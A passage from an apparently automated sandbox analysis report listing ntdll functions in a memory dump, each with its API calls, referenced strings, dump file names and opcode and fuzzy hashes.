Instruction Fuzzy Hash: BA31E5759002159ECB11DF68C885BEEB7B4FF54708F2484A9D849AF247DF31DA86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A40D2, Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

RtlComputePrivatizedDllName_U.1105(?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6A9A4104
RtlFreeUnicodeString.1105(?,?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6A9A41CF
RtlFreeUnicodeString.1105(?,?,?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6A9A41D8

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeStringUnicode$ComputeName_Privatized
String ID:
API String ID: 3871896386-0
Opcode ID: 7f0ccbea32786f58c51fe4cf487af8eef5749277614f3754637beb9fa8debb0f
Instruction ID: bc1d37242bf01ec38934496b64c6deec5e9992a350826c24f50793d09c33bef3
Opcode Fuzzy Hash: 7f0ccbea32786f58c51fe4cf487af8eef5749277614f3754637beb9fa8debb0f
Instruction Fuzzy Hash: C531A171940219AEDB10CFA9C8C0AAEB3B8EFB5305F2245ABDA54D7240FF35D955CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A93C4A0, Relevance: 7.6, APIs: 5, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,?,?,?,6A9DC9F8,000000FE), ref: 6A93C4E9
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?), ref: 6A93C52D
TpIsTimerSet.1105(?,?,?,00000000,?,00000000,?), ref: 6A93C550
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?), ref: 6A982E52
RtlDebugPrintTimes.1105(?,?,?,?,00000000,?,00000000,?), ref: 6A982E69

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimerTimes
String ID:
API String ID: 1747049749-0
Opcode ID: f7fc7a7a7e59314453f505b3de534afff09b690ad3a0f62ac6ab0cfdee1bcc1b
Instruction ID: bc1089cbff3cc8161884cb226c3dc28193e79109eddb83acf9f221ea316e55ac
Opcode Fuzzy Hash: f7fc7a7a7e59314453f505b3de534afff09b690ad3a0f62ac6ab0cfdee1bcc1b
Instruction Fuzzy Hash: 5A21483560A638AFCB018F748854AAF77F8AF46359F218469ECA15B202DF31FD098790

Uniqueness

Uniqueness Score: -1.00%

Function 6A920541, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,000000AB,?,?,?,?,6A9204FB,6A9EF890,0000001C,6A9203A8,?,00000000), ref: 6A920569
RtlInitUnicodeString.1105(?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010,?,00000010,?,00000010), ref: 6A9206E7
RtlCompareUnicodeString.1105(?,6A9EF890,00000000,6A9203A8,?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010), ref: 6A920717

Part of subcall function 6A929660: RtlCompareUnicodeStrings.1105(?,?,?,?,6AA07B60,?,6A9568BE,?,00000024,00000001,?,6A9405B9,?,?,6AA07B60), ref: 6A929680

Strings

VS_VERSION_INFO, xrefs: 6A9206DE

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$CompareString$HeaderImageInitStrings
String ID: VS_VERSION_INFO
API String ID: 1271209012-1537192461
Opcode ID: b446975af631df65aa2abebe0f588b5db0c94644431ba631a8277a2a5ba3b19d
Instruction ID: aba7fb94b3c507dca8571aca625d5a05e85c4c0189e4ef0c4bb9f34a60f0e949
Opcode Fuzzy Hash: b446975af631df65aa2abebe0f588b5db0c94644431ba631a8277a2a5ba3b19d
Instruction Fuzzy Hash: FF51E335A202169EFB10CBB1CCA0BAAB7BDAF54645F214529D968DB2C9EF70DD01CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6A9243C0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memcpy.1105(?,00000000,00000000,00000000,00000000,00000001), ref: 6A924424
_wcsicmp.1105(MUI,?,00000000,00000000,00000001), ref: 6A9244A9
RtlLocaleNameToLcid.1105(?,?,00000003,00000000,00000000,00000001), ref: 6A924532

Strings

MUI, xrefs: 6A9244A8

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: LcidLocaleName_wcsicmpmemcpy
String ID: MUI
API String ID: 2548447388-1339004836
Opcode ID: 33983402fd8982a44ea00498ed07b12fa391e3622c81014338ec25a3faf022c2
Instruction ID: bcac630fe705134e2d7d3dae9a0270bdb644eba83b868c96450dd3531534f745
Opcode Fuzzy Hash: 33983402fd8982a44ea00498ed07b12fa391e3622c81014338ec25a3faf022c2
Instruction Fuzzy Hash: 5E410839A101158BEB10CF69D880EA6B3F9FFC0714F72816AD86A8B148EF30D945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6A911390, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 6A911783: RtlAcquireSRWLockExclusive.1105(?,6A9113C0,6A9EF288,00000044), ref: 6A911793

RtlReleaseSRWLockExclusive.1105(?,6A9EF288,00000044), ref: 6A911462

Part of subcall function 6A911986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6A9113F2,6A9EF288,00000044), ref: 6A911995

memcpy.1105(?,0000000E,?,6A9EF288,00000044), ref: 6A91143D

Strings

#%u, xrefs: 6A96EE91

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireHandleIndexReleaseValidmemcpy
String ID: #%u
API String ID: 1422088098-232158463
Opcode ID: 67196e61c3563c69e957bfd40c6dfbfbea4ac59b95ad4fca8ac21cb60e85b707
Instruction ID: 37b744d92ab17beb1e60fec412a371ccfbe5ac11e8fbbcef31f7a904697679b5
Opcode Fuzzy Hash: 67196e61c3563c69e957bfd40c6dfbfbea4ac59b95ad4fca8ac21cb60e85b707
Instruction Fuzzy Hash: E6418175B08219AFEB11CF5CC88069EB7B6AF96704F364059E824AB381DF71DC42C760

Uniqueness

Uniqueness Score: -1.00%

Function 6A9117B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6A9EF2C8,00000018), ref: 6A9117D7
RtlGetIntegerAtom.1105(?,?,?,6A9EF2C8,00000018), ref: 6A9117F3

Part of subcall function 6A91187D: _wcsicmp.1105(0000001C,?,?,?,00000000,?,?,?,?), ref: 6A911921

RtlReleaseSRWLockExclusive.1105(?,?,?,?,6A9EF2C8,00000018), ref: 6A91185D

Part of subcall function 6A911986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6A9113F2,6A9EF288,00000044), ref: 6A911995

Strings

Atom, xrefs: 6A9117C7

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireAtomHandleIndexIntegerReleaseValid_wcsicmp
String ID: Atom
API String ID: 2453091922-2154973765
Opcode ID: 802df47798f7617eafb7d3b6f75573a0a4e81941800fc92fa4238025845d3b56
Instruction ID: b1913d6aeaee80e59378664099971e5986d18d776c0a48d74acf2e662c6736b5
Opcode Fuzzy Hash: 802df47798f7617eafb7d3b6f75573a0a4e81941800fc92fa4238025845d3b56
Instruction Fuzzy Hash: E2314135D04229ABEB40CF9488846AEF3B9BF1A754B32815EE864AB240DF34DD4187A5

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A4955, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

Part of subcall function 6A941D47: memset.1105(00000000,00000000,6A9617F0,?,00000001,00000000,?,6A918D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6A941D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() found activation context data at %p with wrong format,RtlpQueryRunLevel,?,?,00000030,?,00000030,?,?,00000001,?,?), ref: 6A9A49E1

Strings

RtlpQueryRunLevel, xrefs: 6A9A49D4, 6A9A49FE
SXS: %s() found activation context data at %p with wrong format, xrefs: 6A9A4A03
SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6A9A49D9

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemset
String ID: RtlpQueryRunLevel$SXS: %s() found activation context data at %p with assembly roster that has no root$SXS: %s() found activation context data at %p with wrong format
API String ID: 4188176266-4139752556
Opcode ID: 93bbc4803d0af7fe486e2ab004ee72ded67de854e39230e658cb7e1b8c4a3ef5
Instruction ID: 832ef8be40e4603f661a4c35062c91e597b1d40a4e4ec777d09dc1c5ebacccec
Opcode Fuzzy Hash: 93bbc4803d0af7fe486e2ab004ee72ded67de854e39230e658cb7e1b8c4a3ef5
Instruction Fuzzy Hash: BB21B572A04301AFC324CE0CC884E5BB7EDEBC5758F25865EFA595B242DE30ED40CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D40DC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0FE0), ref: 6A9D4110

Strings

RtlSetUserValueHeap, xrefs: 6A9D4127, 6A9D4184

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSetUserValueHeap
API String ID: 3446177414-1142157168
Opcode ID: 9cfcd91e8db8cf40e5beb04f5c75ab656640c0a056e01814dd06edc2060c7ed4
Instruction ID: b3718098afb82ef605897636dc75c6e7aea170308d55da1d755f546aba2b440d
Opcode Fuzzy Hash: 9cfcd91e8db8cf40e5beb04f5c75ab656640c0a056e01814dd06edc2060c7ed4
Instruction Fuzzy Hash: 1321D330904A58AEDB11DFB8888469EBFB26FB5358F25C05CE45467292CF31CA858F90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D387C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20), ref: 6A9D38B3

Strings

RtlGetUserInfoHeap, xrefs: 6A9D38CA, 6A9D3927

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlGetUserInfoHeap
API String ID: 3446177414-1656697243
Opcode ID: 915aa21c17b9fe9be59b9ec756dbee302756e6e865c632456e3f4b220e55e908
Instruction ID: 72e02e1bf2627e7212bbf74f6f97eb1c2b26c9332c47dd89fbbbd4fc5fad1066
Opcode Fuzzy Hash: 915aa21c17b9fe9be59b9ec756dbee302756e6e865c632456e3f4b220e55e908
Instruction Fuzzy Hash: 8321D131804A58EFDF019FB8894479EFFB1AF55358F24C048E4946B2A2CB71CA85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D4212, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,6AA079A0,6A9F0EA8,00000024,6A986051,?,?,00000000,00000000,?,?,6A943347,?,00000000,?), ref: 6A9D423F

Strings

RtlSizeHeap, xrefs: 6A9D425B, 6A9D42B9

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlSizeHeap
API String ID: 3446177414-202636049
Opcode ID: 7c95bdc606a27bf2757c3907a2fec4da31cd657030ed10bf04f22badc2967b79
Instruction ID: fff5b251f143bfa021ebea172addba3600094f83af58c6c8be9dc1ddf5a7814f
Opcode Fuzzy Hash: 7c95bdc606a27bf2757c3907a2fec4da31cd657030ed10bf04f22badc2967b79
Instruction Fuzzy Hash: 7A21AF30914A189FEB10DBA8C6487DDBBF5AF95318F21C248D554672A1CFB18E858F94

Uniqueness

Uniqueness Score: -1.00%

Function 6A993E13, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

wcschr.1105(?,0000002C,?,?,00000000,?,?,6A97060B), ref: 6A993E23
wcstoul.1105(-00000002,6A97060B,00000010,?,?,00000000,?,?,6A97060B), ref: 6A993E3D
DbgPrintEx.1105(00000055,00000003,CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X,?,?,00000000,?,?,6A97060B), ref: 6A993E5A

Part of subcall function 6A993C93: wcschr.1105(?,0000003D,00000000,?), ref: 6A993CAC
Part of subcall function 6A993C93: RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6A993CD0
Part of subcall function 6A993C93: RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6A993D72
Part of subcall function 6A993C93: RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6A993D89
Part of subcall function 6A993C93: RtlFreeUnicodeString.1105(?,00000000,?), ref: 6A993DED

Strings

CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X, xrefs: 6A993E51

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$wcschr$AnsiCompareFreeInitPrintwcstoul
String ID: CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X
API String ID: 2652356044-1863042022
Opcode ID: 0154b9217469215ba600fc73aa0c33e8726f799ae22b61defdcb0f391972a002
Instruction ID: fc5c1b9dc0065fc0e286ff5d08e6c531c4c73de53c814216474b607ec3d42aef
Opcode Fuzzy Hash: 0154b9217469215ba600fc73aa0c33e8726f799ae22b61defdcb0f391972a002
Instruction Fuzzy Hash: 11F02B726006003BE71856A99C4BEAB7B5CCF96665F36015DFA1C9B282FE91DD01C1F0

Uniqueness

Uniqueness Score: -1.00%

Function 6A911FA1, Relevance: 6.3, APIs: 4, Instructions: 266COMMON

Download Yara Rule

APIs

memcpy.1105(?,?,00000000,?,?,?), ref: 6A9120AB

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 74a0fe5a95f47f1007eea8fbc73ad948407862ed62f1a40e54ccaa6ca11d5c84
Instruction ID: 1bd853d44fb542965b100fc1cf598c2f315575d8989f0a856c35eaddf0ee1553
Opcode Fuzzy Hash: 74a0fe5a95f47f1007eea8fbc73ad948407862ed62f1a40e54ccaa6ca11d5c84
Instruction Fuzzy Hash: B6A1B07590451D9BEB24DA188984BEA73B8BF85318F22D1F9D95993240EF31DE82CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9111E0, Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

iswctype.1105(0000000A,00000004), ref: 6A911244
iswctype.1105(00000000,00000004), ref: 6A96EC6A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype
String ID:
API String ID: 304682654-0
Opcode ID: 56f995d8bc155bca5c52a6537db475f7268b25a96bb21e7fe41ac0c2b1e3db8e
Instruction ID: 5157f3510dea5b07e8d9fdba2431a4299dd4ba42fb37424a774bb7ce90752525
Opcode Fuzzy Hash: 56f995d8bc155bca5c52a6537db475f7268b25a96bb21e7fe41ac0c2b1e3db8e
Instruction Fuzzy Hash: 3971C071A0811AAAEB54CEA8C8956BE77F5AF67310F31482ED851E7280DF3CCD40C760

Uniqueness

Uniqueness Score: -1.00%

Function 6A911E50, Relevance: 6.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105(C000000D,?,00000000,6A9EF330,00000018), ref: 6A96F223
RtlNtStatusToDosError.1105(C000000D), ref: 6A96F2A6
RtlEnterCriticalSection.1105(?), ref: 6A96F2BB
RtlNtStatusToDosError.1105(C000000D), ref: 6A96F2E2

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus$CriticalEnterSection
String ID:
API String ID: 152543406-0
Opcode ID: 3cc9722d173b468220ed2deeced3acd2a6b7e5bf5f52f1d78bf841816726a81c
Instruction ID: b29b4326cd8a510b631e8b7214d1f6edbdd66934892fef33214f34b888a0e87c
Opcode Fuzzy Hash: 3cc9722d173b468220ed2deeced3acd2a6b7e5bf5f52f1d78bf841816726a81c
Instruction Fuzzy Hash: 2B512471A04B89AFEB10CF68C584BAA77E5AF4A308F32856DD86557741CF30EC45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A948ED7, Relevance: 6.1, APIs: 4, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

wcsrchr.1105(?,0000005C,00000000,00000000,00000000), ref: 6A948F1B
memcpy.1105(?,?,?,00000000,00000000,00000000), ref: 6A948F72
LdrFindEntryForAddress.1105(?,?,00000000,00000000,00000000), ref: 6A948F9D
memcpy.1105(?,?,00000004,?,?,00000000,00000000,00000000), ref: 6A948FD3

Part of subcall function 6A9492FC: RtlEnterCriticalSection.1105(6AA06D80,6A9F0158,00000018,6A9163DB), ref: 6A949331

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$AddressCriticalEnterEntryFindSectionwcsrchr
String ID:
API String ID: 3299649961-0
Opcode ID: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction ID: 0ef887496fc777fe40e9b0a8a861d28491de9e6e97534df59509f211a02fbcb3
Opcode Fuzzy Hash: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction Fuzzy Hash: EF31E4722047129FD708CF18C840A6AB7E6FF84310F298569F9158B791DB30DC25C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 6A9EED52, Relevance: 6.1, APIs: 4, Instructions: 110timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6AA08684,6AA08668,?,?,6AA08668,6AA08668,?,6A9EE5F4,?,80000002,6AA08668,6AA08660), ref: 6A9EEDA9
RtlReleaseSRWLockExclusive.1105(6AA08684,6AA08684,6AA08668,?,?,6AA08668,6AA08668,?,6A9EE5F4,?,80000002,6AA08668,6AA08660), ref: 6A9EEE42
RtlDebugPrintTimes.1105(?,?,6AA08684,6AA08684,6AA08668,?,?,6AA08668,6AA08668,?,6A9EE5F4,?,80000002,6AA08668,6AA08660), ref: 6A9EEE50
RtlReleaseSRWLockExclusive.1105(6AA08684,6AA08684,6AA08668,?,?,6AA08668,6AA08668,?,6A9EE5F4,?,80000002,6AA08668,6AA08660), ref: 6A9EEE5B

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimes
String ID:
API String ID: 309489879-0
Opcode ID: 7b2317d0b1d9469735e59def7679cc6f7909406e710776c3998b2191cd70031d
Instruction ID: 866d1cd4a19d44e5bc87da9e5de57f8ea3a39a49af13c7083897f0f06e01cf45
Opcode Fuzzy Hash: 7b2317d0b1d9469735e59def7679cc6f7909406e710776c3998b2191cd70031d
Instruction Fuzzy Hash: F631C936A00525AF8B1ACE19CC90569B7F5FF9A720325426DD815CB396DF34ED41C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 6A93ECE0, Relevance: 6.1, APIs: 4, Instructions: 103timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6A93ED2C
RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6A93ED90
TpSetWaitEx.1105 ref: 6A9842DE
RtlDebugPrintTimes.1105(?,?,00000000,00000000,?,00000000,00000000), ref: 6A98432F

Part of subcall function 6A93FC39: ZwAssociateWaitCompletionPacket.1105(?,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000,?,00000000,00000000), ref: 6A93FC71

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockWait$AcquireAssociateCompletionDebugPacketPrintReleaseTimes
String ID:
API String ID: 1549838691-0
Opcode ID: fa20f5d818257d8913b88b8a33a30f4740797f84246a6bec533e26a1d5ebe045
Instruction ID: a187183ec19029d2378b52fad3ba7882ef9eed089d9332cbb0ada091f54d0d64
Opcode Fuzzy Hash: fa20f5d818257d8913b88b8a33a30f4740797f84246a6bec533e26a1d5ebe045
Instruction Fuzzy Hash: 4E31B27560472AAFC714CF2488447AAB7F9BF86714F25492AD87587241DF30EC258BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CC08A, Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000001,?,?,?,6A9CBC33,?,C0000002,00000020,?,?), ref: 6A9CC0CA
memcpy.1105(0000000C,?,?,?,?,?,?,?,?,00000001,?,?,?,6A9CBC33,?,C0000002), ref: 6A9CC115
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,?,00000001,?,?,?,6A9CBC33,?,C0000002,00000020,?), ref: 6A9CC17F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleasememcpy
String ID:
API String ID: 753335654-0
Opcode ID: 7a22b20b0e65619a7f5b4e9c33edaae16c3849a9c5199be9c6b04e0a497ae878
Instruction ID: 4059f014d3a305e50eaf5bef4ea7fdc0cc727af8bc84906a9d6933248dc6032c
Opcode Fuzzy Hash: 7a22b20b0e65619a7f5b4e9c33edaae16c3849a9c5199be9c6b04e0a497ae878
Instruction Fuzzy Hash: A931E676A04905ABDB14CF68C880AA6B7F9FF44714B24C06DE85A9B201EB30FD52C795

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E8050, Relevance: 6.1, APIs: 4, Instructions: 78threadCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6AA086C4,00000008,?,00000000,00000008,?,6A96F8D6,?,00000000,00000000,?,6A9122D2,00000000,?,00000000,00000034), ref: 6A9E80AA
RtlReleaseSRWLockExclusive.1105(6AA086C4,6AA086C4,00000008,?,00000000,00000008,?,6A96F8D6,?,00000000,00000000,?,6A9122D2,00000000,?,00000000), ref: 6A9E80DD
